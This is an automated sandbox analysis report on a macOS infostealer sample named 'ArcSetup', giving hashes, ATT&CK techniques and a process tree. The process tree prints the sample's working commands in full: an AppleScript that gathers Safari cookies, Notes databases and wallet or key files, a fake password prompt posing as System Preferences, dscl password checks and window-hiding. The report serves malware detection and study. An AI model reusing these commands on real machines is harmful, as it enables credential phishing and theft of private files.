4a3cc5e7b84ef63a6a7003f80df903421ec1d6360eb20b0eb7520826804b627f

Analysis

max time kernel
195s
max time network
164s
platform
macos-10.15_amd64
resource
macos-20240214-en
resource tags

arch:amd64arch:i386image:macos-20240214-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
submitted
24/03/2024, 08:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ArcSetup/ArcSetup
Size 368KB
Sample240324-kxsegsbc99
SHA256 9a3af31b41b9c6dce4da20ddb8119433ad8707e8890ba2399889f52cb2c74e82
MD5 054b27fd64f3675d6a6a0861ad85303c
SHA1 029e503d4071e4bf48a067938b8d50ee93599401
SHA512 3384de87b1ab97b4548296be6335de55bfefb31e6fb91f0b5d53992289a58ca4e439cd58134dcd3d1553d5954f13bc9dfcc46672d1a309cfa327b56437f404e1
SSDEEP 6144:BiPuY4qdlecFb5hHI2R+v/EE0CsJYMomgml3/rJyvLWUwNY4Ldr1lrc7YUAc0jGH:BuuY4qdIcBImtCsJYMomgml3/rJyvLW4
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

discovery evasion execution

Malware Config

Signatures

Queries the macOS version information. 1 TTPs 2 IoCs

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

discovery

System Information Discovery

T1082

ioc	Process
sh -c sw_vers	Process not Found
sw_vers	Process not Found

System Checks 1 TTPs 2 IoCs

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.

evasion

System Checks

T1497.001

ioc	Process
sh -c "system_profiler SPHardwareDataType"	Process not Found
system_profiler SPHardwareDataType	Process not Found

File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur.
evasion

File Deletion
T1070.004

AppleScript 1 TTPs 12 IoCs

AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.

execution

AppleScript

T1059.002

ioc	Process
sh -c "osascript -e 'set baseFolderPath to (path to home folder as text) & \"503925553\"' -e 'set fileGrabberFolderPath to (path to home folder as text) & \"503925553:FileGrabber:\"' -e 'tell application \"Finder\"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'try' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"' -e 'try' -e 'duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'duplicate file \"NoteStore.sqlite-shm\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'duplicate file \"NoteStore.sqlite-wal\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder \"Documents\" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell'"	Process not Found
sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"	Process not Found
osascript -e "display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop"	Process not Found
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"	Process not Found
sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"	Process not Found
osascript -e "display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop"	Process not Found
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"	Process not Found
osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"	Process not Found
osascript -e "tell application \"Terminal\" to set visible of front window to false"	Process not Found
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"	Process not Found
osascript -e "tell application \"Terminal\" to set visible of front window to false"	Process not Found
osascript -e "set baseFolderPath to (path to home folder as text) & \"503925553\"" -e "set fileGrabberFolderPath to (path to home folder as text) & \"503925553:FileGrabber:\"" -e "tell application \"Finder\"" -e "set username to short user name of (system info)" -e try -e "if not (exists folder fileGrabberFolderPath) then" -e "make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}" -e "end if" -e "set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")" -e try -e "duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing" -e "end try" -e "set homePath to path to home folder as string" -e "set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"" -e try -e "duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing" -e "duplicate file \"NoteStore.sqlite-shm\" of folder sourceFilePath to folder baseFolderPath with replacing" -e "duplicate file \"NoteStore.sqlite-wal\" of folder sourceFilePath to folder baseFolderPath with replacing" -e "end try" -e "set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}" -e "set desktopFiles to every file of desktop" -e "set documentsFiles to every file of folder \"Documents\" of (path to home folder)" -e "repeat with aFile in (desktopFiles & documentsFiles)" -e "set fileExtension to name extension of aFile" -e "if fileExtension is in extensionsList then" -e "set fileSize to size of aFile" -e "if fileSize ≤ 51200 then" -e "duplicate aFile to folder fileGrabberFolderPath with replacing" -e "end if" -e "end if" -e "end repeat" -e "end try" -e "end tell"	Process not Found

File and Directory Discovery. 1 TTPs 37 IoCs

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.

discovery

File and Directory Discovery

T1083

ioc	Process
basename /Library/Printers/EPSON/Fax/Filter/commandFilter.app	Process not Found
basename "/Library/Application Support/Script Editor/Templates/Droplets/Recursive Image File Processing Droplet.app"	Process not Found
basename "/Library/Application Support/Script Editor/Templates/Droplets/Recursive File Processing Droplet.app"	Process not Found
basename "/usr/local/Cellar/[email protected]/3.9.7_1/IDLE 3.app"	Process not Found
basename "/Applications/Microsoft PowerPoint.app"	Process not Found
basename /Library/Scripts/ColorSync/Proof.app	Process not Found
basename /Library/Scripts/ColorSync/Match.app	Process not Found
basename "/Library/Image Capture/Devices/Canon IJScanner2.app"	Process not Found
basename "/Library/Scripts/ColorSync/Show Info.app"	Process not Found
basename "/usr/local/Cellar/[email protected]/3.9.7_1/Frameworks/Python.framework/Versions/3.9/Resources/Python.app"	Process not Found
basename "/Applications/Microsoft Outlook.app"	Process not Found
basename "/Library/Scripts/ColorSync/Set Info.app"	Process not Found
basename /Library/Printers/EPSON/Fax/Filter/rastertoepfax.app	Process not Found
basename "/Library/Application Support/Script Editor/Templates/Droplets/Droplet with Settable Properties.app"	Process not Found
basename /Applications/Safari.app	Process not Found
basename "/Applications/Microsoft Excel.app"	Process not Found
basename /Library/Scripts/ColorSync/Rename.app	Process not Found
basename "/Library/Image Capture/Support/LegacyDeviceDiscoveryHelpers/AirScanLegacyDiscovery.app"	Process not Found
xargs -I "%" basename "%"	Process not Found
basename "/usr/local/Cellar/[email protected]/3.9.7_1/Python Launcher 3.app"	Process not Found
basename "/Applications/Microsoft OneNote.app"	Process not Found
basename /Library/Scripts/ColorSync/Remove.app	Process not Found
basename "/Library/Printers/EPSON/Fax/Utility/FAX Utility.app"	Process not Found
basename "/Library/Application Support/Script Editor/Templates/Cocoa-AppleScript Applet.app"	Process not Found
basename "/Library/Image Capture/Devices/Canon IJScanner4.app"	Process not Found
sh -c "echo ' Installed Apps: ' >> /Users/run/503925553/Sysinfo.txt && mdfind \"kMDItemContentType == 'com.apple.application-bundle' && kMDItemKind != 'System'\" \| grep -v '/System' \| xargs -I % basename \"%\" >> /Users/run/503925553/Sysinfo.txt"	Process not Found
basename "/Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app"	Process not Found
basename "/Library/Image Capture/Devices/Canon IJScanner6.app"	Process not Found
basename "/Applications/Google Chrome.app"	Process not Found
basename /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.7/Resources/Python.app	Process not Found
basename "/Applications/Microsoft Word.app"	Process not Found
basename "/Library/Image Capture/Devices/EPSON Scanner.app"	Process not Found
basename /Library/Scripts/ColorSync/Embed.app	Process not Found
basename /Library/Scripts/ColorSync/Extract.app	Process not Found
basename "/Library/Printers/EPSON/Fax/Utility/Fax Receive Monitor.app"	Process not Found
basename /Library/Printers/EPSON/Fax/AutoSetupTool/EPFaxAutoSetupTool.app	Process not Found
basename /Library/Printers/EPSON/Fax/FaxIOSupport/epsonfax.app	Process not Found

Resource Forking 1 TTPs 6 IoCs

Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

evasion

Resource Forking

T1564.009

ioc	Process
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper	Process not Found
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper	Process not Found
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper	Process not Found
basename /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.7/Resources/Python.app	Process not Found
basename "/usr/local/Cellar/[email protected]/3.9.7_1/Frameworks/Python.framework/Versions/3.9/Resources/Python.app"	Process not Found
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper	Process not Found

/bin/sh
sh -c "sudo /bin/zsh -c \"/Users/run/ArcSetup/ArcSetup\""
1⤵
PID:533

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/ArcSetup/ArcSetup\""
1⤵
PID:533

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/ArcSetup/ArcSetup
1⤵
PID:533
- /bin/zsh
  /bin/zsh -c /Users/run/ArcSetup/ArcSetup
  2⤵
  PID:534
- /Users/run/ArcSetup/ArcSetup
  /Users/run/ArcSetup/ArcSetup
  2⤵
  PID:534

/bin/sh
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:535

/bin/bash
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:535

/usr/bin/osascript
osascript -e "tell application \"Terminal\" to set visible of front window to false"
1⤵
PID:535

/usr/libexec/dmd
/usr/libexec/dmd
1⤵
PID:520

/usr/libexec/xpcproxy
xpcproxy com.apple.sysmond
1⤵
PID:555

/usr/libexec/sysmond
/usr/libexec/sysmond
1⤵
PID:555

/usr/libexec/xpcproxy
xpcproxy com.apple.sandboxd
1⤵
PID:562

/usr/libexec/xpcproxy
xpcproxy com.apple.bird
1⤵
PID:563

/usr/libexec/sandboxd
/usr/libexec/sandboxd
1⤵
PID:562

/bin/sh
sh -c "mkdir /Users/root/503421343"
1⤵
PID:564

/bin/bash
sh -c "mkdir /Users/root/503421343"
1⤵
PID:564

/bin/mkdir
mkdir /Users/root/503421343
1⤵
PID:564

/System/Library/PrivateFrameworks/CloudDocsDaemon.framework/Versions/A/Support/bird
/System/Library/PrivateFrameworks/CloudDocsDaemon.framework/Versions/A/Support/bird
1⤵
PID:563

/bin/sh
sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"
1⤵
PID:565

/bin/bash
sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"
1⤵
PID:565

/usr/bin/osascript
osascript -e "display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop"
1⤵
PID:565

/usr/libexec/xpcproxy
xpcproxy com.apple.ViewBridgeAuxiliary
1⤵
PID:566

/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary
/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary
1⤵
PID:566

/usr/libexec/xpcproxy
xpcproxy com.apple.spindump
1⤵
PID:568

/usr/sbin/spindump
/usr/sbin/spindump
1⤵
PID:568

/usr/bin/login
login -pf run
1⤵
PID:570
- /bin/zsh
  -zsh
  2⤵
  PID:574
- - /usr/libexec/path_helper
    /usr/libexec/path_helper -s
    3⤵
    PID:575
- - /usr/bin/locale
    locale LC_CTYPE
    3⤵
    PID:576
- - /usr/bin/open
    open ArcSetup
    3⤵
    PID:579

/usr/libexec/xpcproxy
xpcproxy com.apple.audio.systemsoundserverd
1⤵
PID:571

/usr/sbin/systemsoundserverd
/usr/sbin/systemsoundserverd
1⤵
PID:571

/usr/libexec/xpcproxy
xpcproxy com.apple.audio.AudioComponentRegistrar
1⤵
PID:572

/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar
/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar -daemon
1⤵
PID:572

/usr/libexec/xpcproxy
xpcproxy com.apple.AccountPolicyHelper
1⤵
PID:573

/System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper
/System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper
1⤵
PID:573

/usr/sbin/spctl
/usr/sbin/spctl --assess --type execute /Applications/OneDrive.app
1⤵
PID:578

/usr/libexec/xpcproxy
xpcproxy com.apple.assistantd
1⤵
PID:581

/System/Library/PrivateFrameworks/AssistantServices.framework/Versions/A/Support/assistantd
/System/Library/PrivateFrameworks/AssistantServices.framework/Versions/A/Support/assistantd
1⤵
PID:581

/usr/libexec/xpcproxy
xpcproxy com.apple.nehelper
1⤵
PID:582

/usr/libexec/nehelper
/usr/libexec/nehelper
1⤵
PID:582

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.ui.helper
1⤵
PID:583

/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
1⤵
PID:583

/usr/libexec/xpcproxy
xpcproxy com.apple.metadata.mdwrite
1⤵
PID:584

/usr/bin/login
login -pf run
1⤵
PID:585
- /bin/zsh
  -zsh
  2⤵
  PID:586
- - /usr/libexec/path_helper
    /usr/libexec/path_helper -s
    3⤵
    PID:587
- - /usr/bin/locale
    locale LC_CTYPE
    3⤵
    PID:588
- - /Users/run/ArcSetup/ArcSetup
    /Users/run/ArcSetup/ArcSetup
    3⤵
    PID:589

/bin/sh
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:590

/bin/bash
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:590

/usr/bin/osascript
osascript -e "tell application \"Terminal\" to set visible of front window to false"
1⤵
PID:590

/bin/sh
sh -c "mkdir /Users/run/503925553"
1⤵
PID:591

/bin/bash
sh -c "mkdir /Users/run/503925553"
1⤵
PID:591

/bin/mkdir
mkdir /Users/run/503925553
1⤵
PID:591

/bin/sh
sh -c sw_vers
1⤵
PID:592

/bin/bash
sh -c sw_vers
1⤵
PID:592

/usr/bin/sw_vers
sw_vers
1⤵
PID:592

/bin/sh
sh -c "system_profiler SPHardwareDataType"
1⤵
PID:593

/bin/bash
sh -c "system_profiler SPHardwareDataType"
1⤵
PID:593

/usr/sbin/system_profiler
system_profiler SPHardwareDataType
1⤵
PID:593

/bin/sh
sh -c "system_profiler SPDisplaysDataType"
1⤵
PID:598

/bin/bash
sh -c "system_profiler SPDisplaysDataType"
1⤵
PID:598

/usr/sbin/system_profiler
system_profiler SPDisplaysDataType
1⤵
PID:598

/bin/sh
sh -c "dscl /Local/Default -authonly run \"\""
1⤵
PID:600

/bin/bash
sh -c "dscl /Local/Default -authonly run \"\""
1⤵
PID:600

/usr/bin/dscl
dscl /Local/Default -authonly run
1⤵
PID:600

/bin/sh
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:601

/bin/bash
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:601

/usr/bin/osascript
osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
1⤵
PID:601

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportMemoryException
1⤵
PID:602

/usr/libexec/ReportMemoryException
/usr/libexec/ReportMemoryException
1⤵
PID:602

/usr/libexec/xpcproxy
xpcproxy com.apple.pbs
1⤵
PID:603

/System/Library/CoreServices/pbs
/System/Library/CoreServices/pbs
1⤵
PID:603

/bin/sh
sh -c "dscl /Local/Default -authonly run root"
1⤵
PID:604

/bin/bash
sh -c "dscl /Local/Default -authonly run root"
1⤵
PID:604

/usr/bin/dscl
dscl /Local/Default -authonly run root
1⤵
PID:604

/bin/sh
sh -c "mkdir -p '/Users/run/503925553/Chromium/Chrome'"
1⤵
PID:605

/bin/bash
sh -c "mkdir -p '/Users/run/503925553/Chromium/Chrome'"
1⤵
PID:605

/bin/mkdir
mkdir -p /Users/run/503925553/Chromium/Chrome
1⤵
PID:605

/bin/sh
sh -c "echo ' Installed Apps: ' >> /Users/run/503925553/Sysinfo.txt && mdfind \"kMDItemContentType == 'com.apple.application-bundle' && kMDItemKind != 'System'\" | grep -v '/System' | xargs -I % basename \"%\" >> /Users/run/503925553/Sysinfo.txt"
1⤵
PID:606

/bin/bash
sh -c "echo ' Installed Apps: ' >> /Users/run/503925553/Sysinfo.txt && mdfind \"kMDItemContentType == 'com.apple.application-bundle' && kMDItemKind != 'System'\" | grep -v '/System' | xargs -I % basename \"%\" >> /Users/run/503925553/Sysinfo.txt"
1⤵
PID:606
- /usr/bin/mdfind
  mdfind "kMDItemContentType == 'com.apple.application-bundle' && kMDItemKind != 'System'"
  2⤵
  PID:607
- /usr/bin/grep
  grep -v /System
  2⤵
  PID:608
- /usr/bin/xargs
  xargs -I "%" basename "%"
  2⤵
  PID:609

/usr/local/bin/basename
basename "/Applications/Google Chrome.app"
1⤵
PID:610

/usr/bin/basename
basename "/Applications/Google Chrome.app"
1⤵
PID:610

/usr/local/bin/basename
basename /Applications/Safari.app
1⤵
PID:611

/usr/bin/basename
basename /Applications/Safari.app
1⤵
PID:611

/usr/local/bin/basename
basename /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.7/Resources/Python.app
1⤵
PID:612

/usr/bin/basename
basename /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.7/Resources/Python.app
1⤵
PID:612

/usr/local/bin/basename
basename "/usr/local/Cellar/[email protected]/3.9.7_1/Python Launcher 3.app"
1⤵
PID:613

/usr/bin/basename
basename "/usr/local/Cellar/[email protected]/3.9.7_1/Python Launcher 3.app"
1⤵
PID:613

/usr/local/bin/basename
basename "/usr/local/Cellar/[email protected]/3.9.7_1/IDLE 3.app"
1⤵
PID:614

/usr/bin/basename
basename "/usr/local/Cellar/[email protected]/3.9.7_1/IDLE 3.app"
1⤵
PID:614

/usr/local/bin/basename
basename "/usr/local/Cellar/[email protected]/3.9.7_1/Frameworks/Python.framework/Versions/3.9/Resources/Python.app"
1⤵
PID:615

/usr/bin/basename
basename "/usr/local/Cellar/[email protected]/3.9.7_1/Frameworks/Python.framework/Versions/3.9/Resources/Python.app"
1⤵
PID:615

/usr/local/bin/basename
basename "/Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app"
1⤵
PID:616

/usr/bin/basename
basename "/Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app"
1⤵
PID:616

/usr/local/bin/basename
basename "/Applications/Microsoft Outlook.app"
1⤵
PID:617

/usr/bin/basename
basename "/Applications/Microsoft Outlook.app"
1⤵
PID:617

/usr/local/bin/basename
basename "/Applications/Microsoft OneNote.app"
1⤵
PID:618

/usr/bin/basename
basename "/Applications/Microsoft OneNote.app"
1⤵
PID:618

/usr/local/bin/basename
basename "/Applications/Microsoft Excel.app"
1⤵
PID:619

/usr/bin/basename
basename "/Applications/Microsoft Excel.app"
1⤵
PID:619

/usr/local/bin/basename
basename "/Applications/Microsoft Word.app"
1⤵
PID:620

/usr/bin/basename
basename "/Applications/Microsoft Word.app"
1⤵
PID:620

/usr/local/bin/basename
basename "/Applications/Microsoft PowerPoint.app"
1⤵
PID:621

/usr/bin/basename
basename "/Applications/Microsoft PowerPoint.app"
1⤵
PID:621

/usr/local/bin/basename
basename "/Library/Image Capture/Devices/EPSON Scanner.app"
1⤵
PID:622

/usr/bin/basename
basename "/Library/Image Capture/Devices/EPSON Scanner.app"
1⤵
PID:622

/usr/local/bin/basename
basename /Library/Scripts/ColorSync/Remove.app
1⤵
PID:623

/usr/bin/basename
basename /Library/Scripts/ColorSync/Remove.app
1⤵
PID:623

/usr/local/bin/basename
basename /Library/Scripts/ColorSync/Proof.app
1⤵
PID:624

/usr/bin/basename
basename /Library/Scripts/ColorSync/Proof.app
1⤵
PID:624

/usr/local/bin/basename
basename /Library/Scripts/ColorSync/Match.app
1⤵
PID:625

/usr/bin/basename
basename /Library/Scripts/ColorSync/Match.app
1⤵
PID:625

/usr/local/bin/basename
basename /Library/Scripts/ColorSync/Embed.app
1⤵
PID:626

/usr/bin/basename
basename /Library/Scripts/ColorSync/Embed.app
1⤵
PID:626

/usr/local/bin/basename
basename /Library/Scripts/ColorSync/Extract.app
1⤵
PID:627

/usr/bin/basename
basename /Library/Scripts/ColorSync/Extract.app
1⤵
PID:627

/usr/local/bin/basename
basename "/Library/Scripts/ColorSync/Show Info.app"
1⤵
PID:628

/usr/bin/basename
basename "/Library/Scripts/ColorSync/Show Info.app"
1⤵
PID:628

/usr/local/bin/basename
basename /Library/Scripts/ColorSync/Rename.app
1⤵
PID:629

/usr/bin/basename
basename /Library/Scripts/ColorSync/Rename.app
1⤵
PID:629

/usr/local/bin/basename
basename "/Library/Scripts/ColorSync/Set Info.app"
1⤵
PID:630

/usr/bin/basename
basename "/Library/Scripts/ColorSync/Set Info.app"
1⤵
PID:630

/usr/local/bin/basename
basename "/Library/Printers/EPSON/Fax/Utility/Fax Receive Monitor.app"
1⤵
PID:631

/usr/bin/basename
basename "/Library/Printers/EPSON/Fax/Utility/Fax Receive Monitor.app"
1⤵
PID:631

/usr/local/bin/basename
basename "/Library/Printers/EPSON/Fax/Utility/FAX Utility.app"
1⤵
PID:632

/usr/bin/basename
basename "/Library/Printers/EPSON/Fax/Utility/FAX Utility.app"
1⤵
PID:632

/usr/local/bin/basename
basename /Library/Printers/EPSON/Fax/AutoSetupTool/EPFaxAutoSetupTool.app
1⤵
PID:633

/usr/bin/basename
basename /Library/Printers/EPSON/Fax/AutoSetupTool/EPFaxAutoSetupTool.app
1⤵
PID:633

/usr/local/bin/basename
basename /Library/Printers/EPSON/Fax/Filter/rastertoepfax.app
1⤵
PID:634

/usr/bin/basename
basename /Library/Printers/EPSON/Fax/Filter/rastertoepfax.app
1⤵
PID:634

/usr/local/bin/basename
basename /Library/Printers/EPSON/Fax/Filter/commandFilter.app
1⤵
PID:635

/usr/bin/basename
basename /Library/Printers/EPSON/Fax/Filter/commandFilter.app
1⤵
PID:635

/usr/local/bin/basename
basename /Library/Printers/EPSON/Fax/FaxIOSupport/epsonfax.app
1⤵
PID:636

/usr/bin/basename
basename /Library/Printers/EPSON/Fax/FaxIOSupport/epsonfax.app
1⤵
PID:636

/usr/local/bin/basename
basename "/Library/Application Support/Script Editor/Templates/Cocoa-AppleScript Applet.app"
1⤵
PID:637

/usr/bin/basename
basename "/Library/Application Support/Script Editor/Templates/Cocoa-AppleScript Applet.app"
1⤵
PID:637

/usr/local/bin/basename
basename "/Library/Application Support/Script Editor/Templates/Droplets/Recursive Image File Processing Droplet.app"
1⤵
PID:638

/usr/bin/basename
basename "/Library/Application Support/Script Editor/Templates/Droplets/Recursive Image File Processing Droplet.app"
1⤵
PID:638

/usr/local/bin/basename
basename "/Library/Application Support/Script Editor/Templates/Droplets/Droplet with Settable Properties.app"
1⤵
PID:639

/usr/bin/basename
basename "/Library/Application Support/Script Editor/Templates/Droplets/Droplet with Settable Properties.app"
1⤵
PID:639

/usr/local/bin/basename
basename "/Library/Application Support/Script Editor/Templates/Droplets/Recursive File Processing Droplet.app"
1⤵
PID:640

/usr/bin/basename
basename "/Library/Application Support/Script Editor/Templates/Droplets/Recursive File Processing Droplet.app"
1⤵
PID:640

/usr/local/bin/basename
basename "/Library/Image Capture/Devices/Canon IJScanner2.app"
1⤵
PID:641

/usr/bin/basename
basename "/Library/Image Capture/Devices/Canon IJScanner2.app"
1⤵
PID:641

/usr/local/bin/basename
basename "/Library/Image Capture/Devices/Canon IJScanner6.app"
1⤵
PID:642

/usr/bin/basename
basename "/Library/Image Capture/Devices/Canon IJScanner6.app"
1⤵
PID:642

/usr/local/bin/basename
basename "/Library/Image Capture/Devices/Canon IJScanner4.app"
1⤵
PID:643

/usr/bin/basename
basename "/Library/Image Capture/Devices/Canon IJScanner4.app"
1⤵
PID:643

/usr/local/bin/basename
basename "/Library/Image Capture/Support/LegacyDeviceDiscoveryHelpers/AirScanLegacyDiscovery.app"
1⤵
PID:644

/usr/bin/basename
basename "/Library/Image Capture/Support/LegacyDeviceDiscoveryHelpers/AirScanLegacyDiscovery.app"
1⤵
PID:644

/bin/sh
sh -c "osascript -e 'set baseFolderPath to (path to home folder as text) & \"503925553\"' -e 'set fileGrabberFolderPath to (path to home folder as text) & \"503925553:FileGrabber:\"' -e 'tell application \"Finder\"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'try' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"' -e 'try' -e 'duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'duplicate file \"NoteStore.sqlite-shm\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'duplicate file \"NoteStore.sqlite-wal\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder \"Documents\" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell'"
1⤵
PID:645

/bin/bash
sh -c "osascript -e 'set baseFolderPath to (path to home folder as text) & \"503925553\"' -e 'set fileGrabberFolderPath to (path to home folder as text) & \"503925553:FileGrabber:\"' -e 'tell application \"Finder\"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'try' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"' -e 'try' -e 'duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'duplicate file \"NoteStore.sqlite-shm\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'duplicate file \"NoteStore.sqlite-wal\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder \"Documents\" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set 